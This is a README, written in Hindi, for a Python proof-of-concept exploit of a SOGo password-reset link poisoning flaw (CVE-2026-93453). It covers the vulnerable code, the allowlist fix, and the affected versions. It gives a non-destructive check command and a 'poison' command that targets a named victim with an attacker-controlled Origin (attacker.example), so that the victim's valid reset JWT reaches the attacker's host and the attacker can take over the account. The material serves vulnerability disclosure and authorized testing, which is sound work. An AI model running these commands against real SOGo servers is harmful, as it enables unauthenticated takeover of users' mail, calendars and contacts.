
CVE-2026-93453 के लिए Python PoC, जो SOGo पासवर्ड रीसेट लिंक पॉइज़निंग दोष है, जो हमलावर-नियंत्रित Origin हेडर के माध्यम से रीसेट टोकन इंटरसेप्शन और अकाउंट टेकओवर को सक्षम बनाता है।
एक ऐसी त्रुटि के लिए एक्सप्लॉइट जिसमें SOGo उपयोगकर्ताओं को ईमेल किए जाने वाले पासवर्ड-रीसेट लिंक को सीधे क्लाइंट-प्रदत्त Origin हेडर से बनाता है। एक अनाम हमलावर जो किसी पीड़ित का लॉगिन जानता है, एक नियंत्रित Origin के साथ रिकवरी अनुरोध POST करता है; ईमेल किए गए "Password reset" संदेश के अंदर का लिंक तब हमलावर के होस्ट की ओर इंगित करता है जबकि एम्बेडेड JWT एक पूरी तरह से वैध रिकवरी टोकन बना रहता है। पीड़ित के एक क्लिक बाद टोकन हमलावर के एक्सेस लॉग में आ जाता है, और POST /SOGo/changePassword इसे एक नए पासवर्ड से बदल देता है — मेल, कैलेंडर और संपर्कों का पूर्ण अकाउंट टेकओवर, किसी भी चरण में कोई प्रमाणीकरण नहीं। ईमेल शाखा इसके अतिरिक्त SOGoPasswordRecoveryEnabled जाँच को छोड़ देती है (वह फ़्लैग केवल SecretQuestion शाखा में देखा जाता है), इसलिए ईमेल वेक्टर तब भी काम करता है जब ऑपरेटर सोचता है कि रिकवरी बंद है।
रिकॉर्ड: https://www.cve.org/CVERecord?id=CVE-2026-93453
| प्रभावित | SOGo < 5.12.11 (≤ 5.12.10) |
| ठीक किया गया | 5.12.11 (SOGoPasswordRecoveryBaseURLs allowlist) |
| पूर्वापेक्षाएँ | SecondaryEmail रिकवरी मोड वाला पीड़ित; हमलावर userName जानता है; पीड़ित ईमेल किए गए लिंक पर क्लिक करता है |
| प्रभाव | अकाउंट टेकओवर |
// UI/MainUI/SOGoRootPage.m:1374 (tag SOGo-5.12.10) — passwordRecoveryEmailAction
url = [NSString stringWithFormat:@"%@%@?token=%@",
[[request headers] objectForKey:@"origin"], // <-- raw client header
[request uri],
jwtToken]; // <-- valid HS256 JWT, 10 min TTL
टोकनयुक्त रीसेट URL Origin + request URI + JWT है, इसलिए जो भी हेडर सेट करता है वह उस होस्ट को सेट करता है जहाँ पीड़ित का रहस्य जाता है। यह पासवर्ड रीसेट पॉइज़निंग (CWE-640 / CWE-601) है, ओपन रीडायरेक्ट नहीं: JWT को /SOGo/changePassword द्वारा स्वीकार किया जाता है चाहे उसे किसी भी होस्ट ने वहाँ पहुँचाया हो।
// 5.12.11 — the fix: origins are validated against a mandatory allowlist
baseUrls = [[SOGoSystemDefaults sharedSystemDefaults] passwordRecoveryBaseURLs];
serverUrl = [[request headers] objectForKey:@"origin"];
if (!(baseUrls && [baseUrls count] > 0)) // unset config -> 403
if (![baseUrls containsObject:serverUrl]) // foreign origin -> 403
5.12.11 पर एक विदेशी Origin को 403 ("Password recovery email in error") मिलता है; ≤ 5.12.10 पर वही अनुरोध 200 लौटाता है और मेल चला जाता है — यही अंतर है जिस पर check निर्भर करता है।
# non-destructive probe: canary user + foreign Origin, classify the reply
python3 CVE-2026-93453.py check https://sogo.example
# poison: dispatch the reset mail for the victim with your host in the link
python3 CVE-2026-93453.py poison https://sogo.example --user victim --origin https://attacker.example
केवल स्टैंडर्ड लाइब्रेरी (Python 3.8+)। गैर-मानक SOGo माउंट पॉइंट्स के लिए --proxy, --insecure, --timeout, --no-color, और --prefix का समर्थन करता है।
PoC को किसी हमलावर इंफ्रास्ट्रक्चर की आवश्यकता नहीं है: poison केवल सर्वर से लिंक मेल करवाता है, और पॉइज़न किया गया होस्ट वही है जो आप --origin में डालते हैं। एक कमज़ोर इंस्टेंस पर मेल किया गया लिंक बन जाता है
https://attacker.example/SOGo/passwordRecoveryEmail?token=<valid HS256 JWT>
— पीड़ित के क्लिक करते ही टोकन आपके होस्ट पर पहुँच जाता है।
check एक अनस्तित्ववान canary उपयोगकर्ता नाम का उपयोग करता है ताकि किसी वास्तविक मेलबॉक्स पर कभी ईमेल न भेजा जाए; 200 = ईमेल शाखा ने विदेशी Origin स्वीकार किया (कमज़ोर हस्ताक्षर), 403 = 5.12.11 allowlist या अनसेट SOGoPasswordRecoveryBaseURLs (शोषणीय नहीं)। एक निश्चित स्व-परीक्षण के लिए, अपने स्वयं के खाते को poison करें और अपने ही इनबॉक्स में लिंक होस्ट पढ़ें।
passwordRecoveryEmailAction)केवल अधिकृत परीक्षण और अनुसंधान के लिए। केवल उन सिस्टमों के विरुद्ध उपयोग करें जिनके आप स्वामी हैं या जिनका परीक्षण करने की आपके पास स्पष्ट अनुमति है।